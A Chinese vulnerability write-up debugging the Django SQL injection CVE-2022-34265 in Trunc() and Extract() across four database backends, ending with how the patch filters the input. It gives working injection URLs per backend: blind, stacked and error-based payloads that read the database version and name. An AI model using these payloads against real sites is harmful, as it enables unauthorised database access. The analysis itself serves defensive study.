CVE-2022-34265 Django SQL 注入漏洞调试分析
2022-8-24 23:58:17 Author: xz.aliyun.com(查看原文) 阅读量:69 收藏

前言

Django 这个漏洞 p 牛在小密圈里发过一些分析,有谈到过不同数据库的情况下,漏洞存在情况有异,其他复现的文章我也多少阅读过,大多是 PostgreSQL 和 MYSQL 的,并且有些仅谈到了其中一个漏洞函数,笔者个人是有些强迫症的—— Django 主流支持的数据库还有 Oracle 和 SQLite,payload 的构造也不尽相同,就想着自己搭建环境调试看看具体情况。

由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢。

环境配置

环境使用的是作者提供的样例(基于官方文档的例子),当然 p 牛的 vulhub 也建议读者去复现一下(Trunc 的回显是非常直观的),如果读者有改动数据库的需求的话,直接在 settings.py 文件中修改 DATABASE 即可,笔者的配置如下,具体请根据注释修改。

# SQLite 配置
# Django 默认数据库 SQLite
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': BASE_DIR / 'db.sqlite3',
    }
}

# PostgreSQL 配置
# 需要先 pip install psycopg2
# 如果有问题,请走 https://github.com/psycopg/psycopg2
# DATABASES = {
#     'default': {
#         'ENGINE': 'django.db.backends.postgresql',
#         'NAME': '你的数据库名称',
#         'USER': '数据库用户名',
#         'PASSWORD': '数据库密码',
#         'HOST': '127.0.0.1',
#         'PORT': '默认是5432,视读者实际安装端口修改',
#     }
# }

# MYSQL 配置
# 需要先 pip install mysqlclient
# DATABASES = {
#     'default': {
#         'ENGINE': 'django.db.backends.mysql',
#         'NAME': '你的数据库名称',
#         'HOST': 'localhost',
#         'PORT': '3306',
#         'USER': '数据库用户名',
#         "PASSWORD": '数据库密码',
#     }
# }

# Oracle 配置
# Oracle 的写法有两种,新安装的读者可以直接套用以下配置
# DATABASES = {
#     'default': {
#         'ENGINE': 'django.db.backends.oracle',
#         'NAME': 'localhost:1521/orcl',
#         'USER': 'system',
#         'PASSWORD': '数据库密码',
#     }
# }

修改完后,根据自己的 appname 填入,执行以下命令生成实验表即可(如果你是用了作者的环境,直接执行第三条即可)。

python3 manage.py makemigrations [appname]
python3 manage.py sqlmigrate [appname] 0001
python3 manage.py migrate

VS 调试的话,配置 launch.json 中的 justMyCode 记得改为 false 才能调试到 Django 中的代码:

漏洞详情

在受影响的 Django 版本中,如果 ORM 日期函数 Trunc() (其中参数 kind)和 Extract()(其中参数 lookup_name),在业务逻辑中前端页面没有进行输入过滤、转义,则可构造恶意 payload 导致 SQL 注入攻击。

lookup_namekind 限制在已知安全列表中的应用程序不受影响。

官方通告:Django security releases issued: 4.0.6 and 3.2.14 | Weblog | Django (djangoproject.com)

影响版本

漏洞函数介绍

简单来说 Extract() 通常用于提取日期一部分,比如我想要获取新海诚所有动漫电影上映的年份,侧重的是日期。

Trunc() 是聚合函数,常常用在统计某个日期的一部分所发生的事或者某一数据,比如我想要获取 2019 年上映了多少动漫电影、9 月某部电影的票房多少等等,侧重的是数据。

以下是官方文档的介绍供补充:

Extract() 常用于提取日期的一个组成部分作为一个数字。

具体参数设置:

lookup_name 设置不同值的结果:

上面的每个 lookup_name 都有一个相应的 Extract 子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如,使用 ExtractYear(...) 而不是 Extract(...,lookup_name='year')

Trunc() 用于截断日期的某一部分,它及其子类通常用于过滤或汇总数据(关心某事是否发生在某年、某小时或某天,而不关心确切的秒数时),比如用来计算每天的销售量。

具体参数设置:

kind 设置不同值的结果:

同样的,以上每个 kind 都有一个对应的 Trunc 子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如使用 TruncYear(...) 而不是 Trunc(...,kind='year')

审计调试

首先明确可控的参数,在漏洞详情中有提到过 Extract 中的 lookup_name 和 Trunc 中的 kind 这两个参数,这俩在调试过程中发现其实就是 lookup_type

因为具体过程比较复杂,在省略了一系列包括使用 F() 对象生成 sql 表达式、查找子类等等过程后,笔者总结形成 sql 的过程大致如下:

​ django\db\models\functions\datetime.py -> class Extract / (class Trunc -> class TruncBase)

​ django\db\models\query.py ->class QuerySet

Django 中对数据库的所有查询以及更新交互都是通过 QuerySet 来完成的,本质上是一个懒加载的对象,在内部,创建、过滤、切片和传递一个 QuerySet 不会真实操作数据库,在对查询集提交之前,不会发生任何实际的数据库操作。

​ django\db\models\functions\datetime.py -> as_sql

as_sql 用于生成数据库函数的 SQL 片段,而针对 Oracle 后端数据库调用的是 as_oracle

​ django\db\models\sql\compiler.py -> class SQLCompile -> compile

compile 为每个表达式生成 sql,并将结果用逗号连接起来,然后在模板中填入数据,并返回 sql 和参数。

​ django\db\models\lookups.py -> Lookup

最后笔者发现可以通过 django\db\backends\ [数据库] \operations.py (就是环境搭建部分 DATABASESENGINE 对应的配置)中的 datetime_extract_sql 以及 datetime_trunc_sql 方法对于 lookup_type 这个参数的处理来判断是否存在漏洞。

以下调试部分都基于上面总结的过程来进行分析。

SQLite

def datetime_extract_sql(self, lookup_type, field_name, tzname):
        return "django_datetime_extract('%s', %s, %s, %s)" % (
            lookup_type.lower(),
            field_name,
            *self._convert_tznames_to_sql(tzname),
        )

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        return "django_datetime_trunc('%s', %s, %s, %s)" % (
            lookup_type.lower(),
            field_name,
            *self._convert_tznames_to_sql(tzname),
        )

可以看到只是将值变小写了。

先看正常测试查询结果:

调试过程中获取到 sql 语句如下:

SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" 
WHERE django_datetime_extract('year', "vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_extract('year', "vulmodel_experiment"."end_datetime", NULL, NULL))

调试中看到 year 作为 payload 拼接进语句,此前是毫无过滤的,因此造成了注入。

Trunc 函数的 sql 语句:

django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL)
-- 查询语句
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE django_datetime_cast_date("vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL))

由上可构造 poc(Extract 和 Trunc 的构造类同):

/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=1-- +
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=2-- +

以上回显不同,可以使用盲注,另外 SQLite 没有 IF,用 CASE WHEN 即可。

PostgreSQL

def datetime_extract_sql(self, lookup_type, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        return self.date_extract_sql(lookup_type, field_name)

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        # https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC
        return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)

date_extract_sql

def date_extract_sql(self, lookup_type, field_name):
        ...
        else:
            # 进入这个分支
            return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)

Extract 的 sql 语句:

调试获取到的 sql 语句如下:

EXTRACT('year' FROM "vulmodel_experiment"."start_datetime" AT TIME ZONE 'UTC')

Trunc 的 sql 语句:

DATE_TRUNC('year', "vulmodel_experiment"."start_datetime");
-- 查询语句如下
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE ("vulmodel_experiment"."start_datetime")::date = (DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"))

由上构造 payload:

/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +

报错注入如下:

因此 Extract 和 Trunc 在 PostgreSQL 中是存在漏洞的。

MYSQL

def datetime_extract_sql(self, lookup_type, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        return self.date_extract_sql(lookup_type, field_name)

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        fields = ["year", "month", "day", "hour", "minute", "second"]
        # 可以看到 fields 都有对应的 format 填充
        format = (
            "%%Y-",
            "%%m",
            "-%%d",
            " %%H:",
            "%%i",
            ":%%s",
        )  # Use double percents to escape.
        format_def = ("0000-", "01", "-01", " 00:", "00", ":00")
        if lookup_type == "quarter":
            return (
                "CAST(DATE_FORMAT(MAKEDATE(YEAR({field_name}), 1) + "
                "INTERVAL QUARTER({field_name}) QUARTER - "
                + "INTERVAL 1 QUARTER, '%%Y-%%m-01 00:00:00') AS DATETIME)"
            ).format(field_name=field_name)
        if lookup_type == "week":
            return (
                "CAST(DATE_FORMAT(DATE_SUB({field_name}, "
                "INTERVAL WEEKDAY({field_name}) DAY), "
                "'%%Y-%%m-%%d 00:00:00') AS DATETIME)"
            ).format(field_name=field_name)
        try:
            i = fields.index(lookup_type) + 1
        except ValueError:
            sql = field_name
        else:
            format_str = "".join(format[:i] + format_def[i:])
            sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str)
        return sql

就上面的来看 Trunc 是不存在漏洞的,都用对应 format 格式字符串代替了,来看 Extract 调用的 date_extract_sql

def date_extract_sql(self, lookup_type, field_name):
        ...
        else:
            # EXTRACT returns 1-53 based on ISO-8601 for the week number.
            # 进入这个分支
            return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)

不过是将值变为了大写。

下面调试获取 sql 语句看看:

调试获取到 EXTRACT sql 语句如下:

EXTRACT(YEAR FROM `vulmodel_experiment`.`start_datetime`)

注意 MYSQL 中拼接没用单双引号。

payload 构造:

/extract/?lookup_name=year from start_datetime)) and updatexml(1,concat(1,database()),0)-- +

接下来测试 Trunc 函数:

调试获取到的 sql 语句如下:

CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)
-- 查询语句
SELECT `vulmodel_experiment`.`id`, `vulmodel_experiment`.`start_datetime`, `vulmodel_experiment`.`start_date`, `vulmodel_experiment`.`start_time`, `vulmodel_experiment`.`end_datetime`, `vulmodel_experiment`.`end_date`, `vulmodel_experiment`.`end_time` FROM `vulmodel_experiment` 
WHERE DATE(`vulmodel_experiment`.`start_datetime`) = (CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)) LIMIT 21

可以看到与代码对应了,故 MYSQL 后端 Trunc 函数并不存在该漏洞。

Oracle

def datetime_extract_sql(self, lookup_type, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        return self.date_extract_sql(lookup_type, field_name)

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        field_name = self._convert_field_to_tz(field_name, tzname)
        # https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/ROUND-and-TRUNC-Date-Functions.html
        if lookup_type in ("year", "month"):
            sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper())
        elif lookup_type == "quarter":
            sql = "TRUNC(%s, 'Q')" % field_name
        elif lookup_type == "week":
            sql = "TRUNC(%s, 'IW')" % field_name
        elif lookup_type == "day":
            sql = "TRUNC(%s)" % field_name
        elif lookup_type == "hour":
            sql = "TRUNC(%s, 'HH24')" % field_name
        elif lookup_type == "minute":
            sql = "TRUNC(%s, 'MI')" % field_name
        else:
            # 进入这个分支
            sql = (
                "CAST(%s AS DATE)" % field_name
            )  # Cast to DATE removes sub-second precision.
        return sql

可以看到 Trunc 是不存在的,拼接进去的只有 field_name,date_extract_sql 还是老样子改了个大写:

def date_extract_sql(self, lookup_type, field_name):
        ...
        else:
            # 进入这个分支
            # https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/EXTRACT-datetime.html
            return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)

Extract 调试:

调试获取到的 sql 语句:

EXTRACT(YEAR FROM "VULMODEL_EXPERIMENT"."START_DATETIME")

payload 可类似构造如下(Oracle 不能堆叠注入):

/extract/?lookup_name=year from start_datetime)) and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- +

接下来测试 Trunc 函数:

sql 语句如下:

TRUNC("VULMODEL_EXPERIMENT"."START_DATETIME") = (CAST("VULMODEL_EXPERIMENT"."START_DATETIME" AS DATE))

没有 lookup_type 拼接入,所以 Oracle 后端 Trunc 也是不存在漏洞的。

修复总结

由上审计调试过程可以得出一个结论——在 Django 影响版本下, Extract 在常用四大数据库中是都存在漏洞的,而 Trunc 在 Oracle 和 MYSQL 作为后端数据库时并不存在漏洞,其他比如 MariaDB 是同 MYSQL 共享后端的,漏洞存在情况应同 MYSQL 一致,而其他第三方数据库支持的 Django 版本和 ORM 功能有很大的不同,这些都要具体情况具体分析了。

来看看是怎么修复的:

4.0.x 的补丁

3.2.x 的补丁

可以看到在 base 模块(因为 Django 是子类化内置数据库后端的)加了一个正则匹配,而之后在 as_sql 生成 sql 片段时就做了一个判断,提前做好了过滤:

参考文档

数据库函数 | Django 文档 | Django (djangoproject.com)

GitHub - aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django)

以及 p 牛在《代码审计》知识星球中的分析。


文章来源: https://xz.aliyun.com/t/11628
如有侵权请联系:admin#unsafe.sh